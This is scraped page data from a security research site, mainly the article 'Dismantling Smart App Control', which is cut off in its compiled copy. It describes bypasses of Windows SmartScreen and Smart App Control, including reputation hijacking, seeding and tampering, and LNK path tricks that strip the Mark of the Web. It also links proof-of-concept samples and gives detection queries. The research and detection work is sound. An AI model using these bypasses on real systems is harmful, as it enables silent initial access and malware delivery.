read","series":"","url":"/dprk-code-of-conduct","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"RookeryCapital_PythonTest.zip ","href":"#rookerycapital_pythontestzip-"},{"level":3,"title":"PasswordManager.py","href":"#passwordmanagerpy"},{"level":4,"title":"Pyperclip module","href":"#pyperclip-module"},{"level":5,"title":"__init__.py","href":"#__init__py"},{"level":5,"title":"Obfuscated Python Script","href":"#obfuscated-python-script"},{"level":5,"title":"__inity__.py","href":"#__inity__py"},{"level":4,"title":"Campaign intersections","href":"#campaign-intersections"},{"level":2,"title":"Detection, Hunting and Mitigation Strategies ","href":"#detection-hunting-and-mitigation-strategies-"},{"level":3,"title":"[Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection","href":"#detection-python-subprocess-shell-tempfile-execution-and-remote-network-connection"},{"level":3,"title":"[Hunt] Python Executable File Creation in Temporary Directory","href":"#hunt-python-executable-file-creation-in-temporary-directory"},{"level":3,"title":"[Hunt] Interactive Shell Execution via Python","href":"#hunt-interactive-shell-execution-via-python"},{"level":3,"title":"[Hunt] Suspicious Python Child Process Execution","href":"#hunt-suspicious-python-child-process-execution"},{"level":2,"title":"Conclusion and Future Trends","href":"#conclusion-and-future-trends"},{"level":3,"title":"Resources","href":"#resources"}],"author":[{"title":"Colson Wilhoit","slug":"colson-wilhoit","description":"Senior Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),h=(t,n)=\u003e{for(var e in n)i(t,e,{get:n[e],enumerable:!0})},a=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!_.call(t,r)\u0026\u0026r!==e\u0026\u0026i(t,r,{get:()=\u003en[r],enumerable:!(s=x(n,r))||s.enumerable});return t};var j=(t,n,e)=\u003e(e=t!=null?m(g(t)):{},a(n||!t||!t.__esModule?i(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var l=d((F,c)=\u003e{c.exports=_jsx_runtime});var D={};h(D,{default:()=\u003ew,frontmatter:()=\u003eC});var o=j(l()),C={title:\"Colson Wilhoit\",description:\"Senior Research Engineer, Elastic\",slug:\"colson-wilhoit\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function M(t={}){let{wrapper:n}=t.components||{};return n?(0,o.jsx)(n,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var w=M;return p(D);})();\n;return Component;"},"_id":"authors/colson-wilhoit.mdx","_raw":{"sourceFilePath":"authors/colson-wilhoit.mdx","sourceFileName":"colson-wilhoit.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/colson-wilhoit"},"type":"Author","imageUrl":"","url":"/authors/colson-wilhoit"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"},{"title":"Attack pattern","slug":"attack-pattern","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,c)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of p(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(c=f(n,a))||c.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},s(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003es(o({},\"__esModule\",{value:!0}),t);var i=j((b,u)=\u003e{u.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(i()),k={title:\"Attack pattern\",slug:\"attack-pattern\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/attack-pattern.mdx","_raw":{"sourceFilePath":"categories/attack-pattern.mdx","sourceFileName":"attack-pattern.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/attack-pattern"},"type":"Category","url":"/categories/attack-pattern"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Dismantling Smart App Control","slug":"dismantling-smart-app-control","date":"2024-08-06","description":"This article will explore Windows Smart App Control and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.","image":"Security Labs Images 19.jpg","subtitle":"New Initial Access and Evasion Techniques","body":{"raw":"\n## Introduction\n\nReputation-based protections like Elastic’s [reputation service](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#behavior-protection) can significantly improve detection capabilities while maintaining low false positive rates. However, like any protection capability, weaknesses exist and bypasses are possible. Understanding these weaknesses allows defenders to focus their detection engineering on key coverage gaps. This article will explore Windows [Smart App Control](https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003) and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.\n\n### Key Takeaways:\n\n* Windows Smart App Control and SmartScreen have several design weaknesses that allow attackers to gain initial access with no security warnings or popups.\n* A bug in the handling of LNK files can also bypass these security controls\n* Defenders should understand the limitations of these OS features and implement detections in their security stack to compensate\n\n## SmartScreen/SAC Background\n\nMicrosoft [SmartScreen](https://learn.microsoft.com/en-us/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/) has been a built-in OS feature since Windows 8. It operates on files that have the [“Mark of the Web”](https://learn.microsoft.com/en-us/microsoft-365-apps/security/internet-macros-blocked#mark-of-the-web-and-zones) (MotW) and are clicked on by users. Microsoft introduced Smart App Control (SAC) with the release of Windows 11. SAC is, in some ways, an evolution of SmartScreen. Microsoft [says](https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003) it “adds significant protection from new and emerging threats by blocking apps that are malicious or untrusted.” It works by querying a Microsoft cloud service when applications are executed. If they are known to be safe, they are allowed to execute; however, if they are unknown, they will only be executed if they have a valid code signing signature. When SAC is enabled, it replaces and disables Defender SmartScreen. \n\nMicrosoft exposes undocumented APIs for querying the trust level of files for SmartScreen and Smart App Control. To help with this research, we developed a utility that will display the trust of a file. The source code for this utility is available [here](https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-check/rep-check.cpp).\n\n## Signed Malware\n\nOne way to bypass Smart App Control is to simply sign malware with a code-signing certificate. Even before SAC, there has been a trend towards attackers signing their malware to evade detection. More recently, attackers have routinely obtained Extend Validation (EV) signing certificates. EV certs require proof of identity to gain access and can only exist on specially designed hardware tokens, making them difficult to steal. However, attackers have found ways to impersonate businesses and purchase these certificates. The threat group behind [SolarMarker](https://www.elastic.co/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant) has leveraged [over 100](https://squiblydoo.blog/2024/05/13/impostor-certs/) unique signing certificates across their campaigns. Certificate Authorities (CAs) should do more to crack down on abuse and minimize fraudulently-acquired certificates. More public research may be necessary to apply pressure on the CAs who are most often selling fraudulent certificates.\n\n## Reputation Hijacking\n\nReputation hijacking is a generic attack paradigm on reputation-based malware protection systems. It is analogous to the [misplaced trust](https://web.archive.org/web/20171028135605/https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/MattGraeber.CaseySmith.pdf) research by Casey Smith and others against application control systems, as well as the [vulnerable driver research](https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf) from Gabriel Landau and I. Unfortunately, the attack surface in this case is even larger. Reputation hijacking involves finding and repurposing apps with a good reputation to bypass the system. To work as an initial access vector, one constraint is that the application must be controlled without any command line parameters—for example, a script host that loads and executes a script at a predictable file path. \n\nScript hosts are an ideal target for a reputation hijacking attack. This is especially true if they include a foreign function interface (FFI) capability. With FFI, attackers can easily load and execute arbitrary code and malware in memory. Through searches in VirusTotal and GitHub, we identified many script hosts that have a known good reputation and can be co-opted for full code execution. This includes Lua, Node.js, and AutoHotkey interpreters. A sample to demonstrate this technique is available [here](https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-hijacking/poc-rep-hijack-jam.zip).\n\nThe following video demonstrates hijacking with the [JamPlus](https://github.com/jamplus/jamplus) build utility to bypass Smart App Control with no security warnings:\n\n\n\nIn another example, SmartScreen security warnings were bypassed by using a known AutoHotkey interpreter:\n\n\n\nAnother avenue to hijack the reputation of a known application is to exploit it. This could be simple, like a classic buffer overflow from reading an INI file in a predictable path. It could be something more complex that chains off other primitives (like command execution/registry write/etc). Also, multiple known apps can be chained together to achieve full code execution. For example, one application that reads a configuration file and executes a command line parameter can then be used to launch another known application that requires a set of parameters to gain arbitrary code execution.\n\n## Reputation Seeding\n\nAnother attack on reputation protections is to seed attacker-controlled binaries into the system. If crafted carefully, these binaries can appear benign and achieve a good reputation while still being useful to attackers later. It could simply be a new script host binary, an application with a known vulnerability, or an application that has a useful primitive. On the other hand, it could be a binary that contains embedded malicious code but only activates after a certain date or environmental trigger.\n\nSmart App Control appears vulnerable to seeding. After executing a sample on one machine, it received a good label after approximately 2 hours. We noted that basic anti-emulation techniques seemed to be a factor in receiving a benign verdict or reputation. Fortunately, SmartScreen appears to have a higher global prevalence bar before trusting an application. A sample that demonstrates this technique is available [here](https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-seeding/poc-rep-seeding.zip) and is demonstrated below:\n\n\n\n## Reputation Tampering\n\nA third attack class against reputation systems is reputation tampering. Normally, reputation systems use cryptographically secure hashing systems to make tampering infeasible. However, we noticed that certain modifications to a file did not seem to change the reputation for SAC. SAC may use fuzzy hashing or feature-based similarity comparisons in lieu of or in addition to standard file hashing. It may also leverage an ML model in the cloud to allow files that have a highly benign score (such as being very similar to known good). Surprisingly, some code sections could be modified without losing their associated reputation. Through trial and error, we could identify segments that could be safely tampered with and keep the same reputation. We crafted one [tampered binary](https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-tampering/poc-rep-tampering.zip) with a unique hash that had never been seen by Microsoft or SAC. This embedded an “execute calc” shellcode and could be executed with SAC in enforcement mode:\n\n\n\n## LNK Stomping\n\nWhen a user downloads a file, the browser will create an associated “Zone.Identifier” file in an [alternate data stream](https://www.digital-detective.net/forensic-analysis-of-zone-identifier-stream/) known as the Mark of the Web (MotW). This lets other software (including AV and EDR) on the system know that the file is more risky. SmartScreen only scans files with the Mark of the Web. SAC completely blocks certain file types if they have it. This makes MotW bypasses an interesting research target, as it can usually lead to bypassing these security systems. Financially motivated threat groups have discovered and leveraged [multiple vulnerabilities](https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/) to bypass MotW checks. These techniques involved appending crafted and invalid code signing signatures to javascript or MSI files. \n\nDuring our research, we stumbled upon another MotW bypass that is trivial to exploit. It involves crafting LNK files that have non-standard target paths or internal structures. When clicked, these LNK files are modified by explorer.exe with the canonical formatting. This modification leads to removal of the MotW label before security checks are performed. The function that overwrites the LNK files is **_SaveAsLink()** as shown in the following call stack:\n\n\n\nThe function that performs the security check is **CheckSmartScreen()** as shown in the following call stack:\n\n\n\nThe easiest demonstration of this issue is to append a dot or space to the target executable path (e.g., ```powershell.exe.```). Alternatively, one can create an LNK file that contains a relative path such as ```.\\target.exe```. After clicking the link, ```explorer.exe``` will search for and find the matching ```.exe``` name, automatically correct the full path, update the file on disk (removing MotW), and finally launch the target. Yet another variant involves crafting a multi-level path in a single entry of the LNK’s target path array. The target path array should normally have 1 entry per directory. The [pylnk3](https://pypi.org/project/pylnk3/) utility shows the structure of an exploit LNK (non-canonical format) before and after execution (canonical format):\n\n\n\n\n\nA Python script that demonstrates these techniques is available [here](https://github.com/joe-desimone/rep-research/blob/8e22c587e727ce2e3ea1ccab973941b7dd2244fc/lnk_stomping/lnk_stomping.py). \n\nThe following shows an LNK file bypassing MotW restrictions under Smart App Control to launch Powershell and pop calc:\n\n\n\nIn another example, we show this technique chained with the Microsoft cdb command line debugger to achieve arbitrary code execution and execute shellcode to pop calc:\n\n\n\nWe identified multiple samples in VirusTotal that exhibit the bug, demonstrating existing in the wild usage. The oldest [sample](https://www.virustotal.com/gui/file/11dadc71018027c7e005a70c306532e5ea7abdc389964cbc85cf3b79f97f6b44/detection) identified was submitted over 6 years ago. We also disclosed details of the bug to the MSRC. It may be fixed in a future Windows update. We are releasing this information, along with detection logic and countermeasures, to help defenders identify this activity until a patch is available.\n## Detections\n\nReputation hijacking, by its nature, can be difficult to detect. Countless applications can be co-opted to carry out the technique. Cataloging and blocking applications known to be abused is an initial (and continual) step. \n\n```\nprocess where process.parent.name == \"explorer.exe\" and process.hash.sha256 in (\n\"ba35b8b4346b79b8bb4f97360025cb6befaf501b03149a3b5fef8f07bdf265c7\", // AutoHotKey\n\"4e213bd0a127f1bb24c4c0d971c2727097b04eed9c6e62a57110d168ccc3ba10\" // JamPlus\n)\n```\n\nHowever, this approach will always lag behind attackers. A slightly more robust approach is to develop behavioral signatures to identify general categories of abused software. For example, we can look for common Lua or Node.js function names or modules in suspicious call stacks: \n\n```\nsequence by process.entity_id with maxspan=1m\n[library where\n (dll.Ext.relative_file_creation_time \u003c= 3600 or\n dll.Ext.relative_file_name_modify_time \u003c= 3600 or\n (dll.Ext.device.product_id : (\"Virtual DVD-ROM\", \"Virtual Disk\",\"USB *\") and not dll.path : \"C:\\\\*\")) and\n _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: \"*!luaopen_*\")] by dll.hash.sha256\n[api where\n process.Ext.api.behaviors : (\"shellcode\", \"allocate_shellcode\", \"execute_shellcode\", \"unbacked_rwx\", \"rwx\", \"hook_api\") and\n process.thread.Ext.call_stack_final_user_module.hash.sha256 : \"?*\"] by process.thread.Ext.call_stack_final_user_module.hash.sha256\n```\n\n```\napi where process.Ext.api.name : (\"VirtualProtect*\", \"WriteProcessMemory\", \"VirtualAlloc*\", \"MapViewOfFile*\") and\n process.Ext.api.behaviors : (\"shellcode\", \"allocate_shellcode\", \"execute_shellcode\", \"unbacked_rwx\", \"rwx\", \"hook_api\") and\n process.thread.Ext.call_stack_final_user_module.name : \"ffi_bindings.node\"\n```\n\nSecurity teams should pay particular attention to downloaded files. They can use local reputation to identify outliers in their environment for closer inspection. \n\n```\nfrom logs-* | \nwhere host.os.type == \"windows\"\nand event.category == \"process\" and event.action == \"start\"\nand process.parent.name == \"explorer.exe\"\nand (process.executable like \"*Downloads*\" or process.executable like \"*Temp*\")\nand process.hash.sha256 is not null\n| eval process.name = replace(process.name, \" \\\\(1\\\\).\", \".\")\n| stats hosts = count_distinct(agent.id) by process.name, process.hash.sha256\n| where hosts == 1\n```\n\nLNK stomping may have many variants, making signature-based detection on LNK files difficult. However, they should all trigger a similar behavioral signal- ```explorer.exe``` overwriting an LNK file. This is especially anomalous in the downloads folder or when the LNK has the Mark of the Web.\n\n```\nfile where event.action == \"overwrite\" and file.extension : \"lnk\" and\n process.name : \"explorer.exe\" and process.thread.Ext.call_stack_summary : \"ntdll.dll|*|windows.storage.dll|shell32.dll|*\" and\n (\n file.path : (\"?:\\\\Users\\\\*\\\\Downloads\\\\*.lnk\", \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp\\\\*.lnk\") or\n file.Ext.windows.zone_identifier == 3\n )\n```\n\nFinally, robust behavioral coverage around common attacker techniques such as in-memory evasion, persistence, credential access, enumeration, and lateral movement helps detect realistic intrusions, including from reputation hijacking. \n\n## Conclusion\n\nReputation-based protection systems are a powerful layer for blocking commodity malware. However, like any protection technique, they have weaknesses that can be bypassed with some care. Smart App Control and SmartScreen have a number of fundamental design weaknesses that can allow for initial access with no security warnings and minimal user interaction. Security teams should scrutinize downloads carefully in their detection stack and not rely solely on OS-native security features for protection in this area.\n","code":"var Component=(()=\u003e{var d=Object.create;var r=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var g=(a,e)=\u003e()=\u003e(e||a((e={exports:{}}).exports,e),e.exports),b=(a,e)=\u003e{for(var i in e)r(a,i,{get:e[i],enumerable:!0})},s=(a,e,i,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of u(e))!f.call(a,n)\u0026\u0026n!==i\u0026\u0026r(a,n,{get:()=\u003ee[n],enumerable:!(o=p(e,n))||o.enumerable});return a};var w=(a,e,i)=\u003e(i=a!=null?d(m(a)):{},s(e||!a||!a.__esModule?r(i,\"default\",{value:a,enumerable:!0}):i,a)),y=a=\u003es(r({},\"__esModule\",{value:!0}),a);var c=g((A,l)=\u003e{l.exports=_jsx_runtime});var S={};b(S,{default:()=\u003ex,frontmatter:()=\u003ek});var t=w(c()),k={title:\"Dismantling Smart App Control\",slug:\"dismantling-smart-app-control\",date:\"2024-08-06\",subtitle:\"New Initial Access and Evasion Techniques\",description:\"This article will explore Windows Smart App Control and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.\",author:[{slug:\"joe-desimone\"}],image:\"Security Labs Images 19.jpg\",category:[{slug:\"security-research\"}]};function h(a){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",h3:\"h3\",ul:\"ul\",li:\"li\",img:\"img\",strong:\"strong\",code:\"code\",pre:\"pre\"},a.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Reputation-based protections like Elastic\\u2019s \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#behavior-protection\",rel:\"nofollow\",children:\"reputation service\"}),\" can significantly improve detection capabilities while maintaining low false positive rates. However, like any protection capability, weaknesses exist and bypasses are possible. Understanding these weaknesses allows defenders to focus their detection engineering on key coverage gaps. This article will explore Windows \",(0,t.jsx)(e.a,{href:\"https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003\",rel:\"nofollow\",children:\"Smart App Control\"}),\" and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"key-takeaways\",children:\"Key Takeaways:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Windows Smart App Control and SmartScreen have several design weaknesses that allow attackers to gain initial access with no security warnings or popups.\"}),`\n`,(0,t.jsx)(e.li,{children:\"A bug in the handling of LNK files can also bypass these security controls\"}),`\n`,(0,t.jsx)(e.li,{children:\"Defenders should understand the limitations of these OS features and implement detections in their security stack to compensate\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"smartscreensac-background\",children:\"SmartScreen/SAC Background\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Microsoft \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/\",rel:\"nofollow\",children:\"SmartScreen\"}),\" has been a built-in OS feature since Windows 8. It operates on files that have the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/microsoft-365-apps/security/internet-macros-blocked#mark-of-the-web-and-zones\",rel:\"nofollow\",children:\"\\u201CMark of the Web\\u201D\"}),\" (MotW) and are clicked on by users. Microsoft introduced Smart App Control (SAC) with the release of Windows 11. SAC is, in some ways, an evolution of SmartScreen. Microsoft \",(0,t.jsx)(e.a,{href:\"https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003\",rel:\"nofollow\",children:\"says\"}),\" it \\u201Cadds significant protection from new and emerging threats by blocking apps that are malicious or untrusted.\\u201D It works by querying a Microsoft cloud service when applications are executed. If they are known to be safe, they are allowed to execute; however, if they are unknown, they will only be executed if they have a valid code signing signature. When SAC is enabled, it replaces and disables Defender SmartScreen.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Microsoft exposes undocumented APIs for querying the trust level of files for SmartScreen and Smart App Control. To help with this research, we developed a utility that will display the trust of a file. The source code for this utility is available \",(0,t.jsx)(e.a,{href:\"https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-check/rep-check.cpp\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"signed-malware\",children:\"Signed Malware\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"One way to bypass Smart App Control is to simply sign malware with a code-signing certificate. Even before SAC, there has been a trend towards attackers signing their malware to evade detection. More recently, attackers have routinely obtained Extend Validation (EV) signing certificates. EV certs require proof of identity to gain access and can only exist on specially designed hardware tokens, making them difficult to steal. However, attackers have found ways to impersonate businesses and purchase these certificates. The threat group behind \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\",rel:\"nofollow\",children:\"SolarMarker\"}),\" has leveraged \",(0,t.jsx)(e.a,{href:\"https://squiblydoo.blog/2024/05/13/impostor-certs/\",rel:\"nofollow\",children:\"over 100\"}),\" unique signing certificates across their campaigns. Certificate Authorities (CAs) should do more to crack down on abuse and minimize fraudulently-acquired certificates. More public research may be necessary to apply pressure on the CAs who are most often selling fraudulent certificates.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"reputation-hijacking\",children:\"Reputation Hijacking\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Reputation hijacking is a generic attack paradigm on reputation-based malware protection systems. It is analogous to the \",(0,t.jsx)(e.a,{href:\"https://web.archive.org/web/20171028135605/https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/MattGraeber.CaseySmith.pdf\",rel:\"nofollow\",children:\"misplaced trust\"}),\" research by Casey Smith and others against application control systems, as well as the \",(0,t.jsx)(e.a,{href:\"https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf\",rel:\"nofollow\",children:\"vulnerable driver research\"}),\" from Gabriel Landau and I. Unfortunately, the attack surface in this case is even larger. Reputation hijacking involves finding and repurposing apps with a good reputation to bypass the system. To work as an initial access vector, one constraint is that the application must be controlled without any command line parameters\\u2014for example, a script host that loads and executes a script at a predictable file path.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Script hosts are an ideal target for a reputation hijacking attack. This is especially true if they include a foreign function interface (FFI) capability. With FFI, attackers can easily load and execute arbitrary code and malware in memory. Through searches in VirusTotal and GitHub, we identified many script hosts that have a known good reputation and can be co-opted for full code execution. This includes Lua, Node.js, and AutoHotkey interpreters. A sample to demonstrate this technique is available \",(0,t.jsx)(e.a,{href:\"https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-hijacking/poc-rep-hijack-jam.zip\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following video demonstrates hijacking with the \",(0,t.jsx)(e.a,{href:\"https://github.com/jamplus/jamplus\",rel:\"nofollow\",children:\"JamPlus\"}),\" build utility to bypass Smart App Control with no security warnings:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/rep_hijacking-jamasync.gif\",alt:\"\",width:\"1906\",height:\"1074\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In another example, SmartScreen security warnings were bypassed by using a known AutoHotkey interpreter:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/smartscreen-bypass-ahk-calc.gif\",alt:\"\",width:\"1906\",height:\"1074\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Another avenue to hijack the reputation of a known application is to exploit it. This could be simple, like a classic buffer overflow from reading an INI file in a predictable path. It could be something more complex that chains off other primitives (like command execution/registry write/etc). Also, multiple known apps can be chained together to achieve full code execution. For example, one application that reads a configuration file and executes a command line parameter can then be used to launch another known application that requires a set of parameters to gain arbitrary code execution.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"reputation-seeding\",children:\"Reputation Seeding\"}),`\n`,(0,t.jsx)(e.p,{children:\"Another attack on reputation protections is to seed attacker-controlled binaries into the system. If crafted carefully, these binaries can appear benign and achieve a good reputation while still being useful to attackers later. It could simply be a new script host binary, an application with a known vulnerability, or an application that has a useful primitive. On the other hand, it could be a binary that contains embedded malicious code but only activates after a certain date or environmental trigger.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Smart App Control appears vulnerable to seeding. After executing a sample on one machine, it received a good label after approximately 2 hours. We noted that basic anti-emulation techniques seemed to be a factor in receiving a benign verdict or reputation. Fortunately, SmartScreen appears to have a higher global prevalence bar before trusting an application. A sample that demonstrates this technique is available \",(0,t.jsx)(e.a,{href:\"https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-seeding/poc-rep-seeding.zip\",rel:\"nofollow\",children:\"here\"}),\" and is demonstrated below:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dismantling-smart-app-control/rephijack-primitive-seeding.gif\",alt:\"\",width:\"1906\",height:\"1078\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"reputation-tampering\",children:\"Reputation Tampering\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"A third attack class against reputation systems is reputation tampering. Normally, reputation systems use cryptographically secure hashing systems to make tampering infeasible. However, we noticed that certain modifications to a file did not seem to change the reputation for SAC. SAC may use fuzzy hashing or feature-based similarity comparisons in lieu of or in addition to standard file hashing. It may also leverage an ML model in the cloud to allow files that have a highly benign score (such as being very similar to known good). Surprisingly, some code sections could be modified without losing their associated reputation. Through trial and error, we could identify segments that could be safely tampered with and keep the same reputation. We crafted one 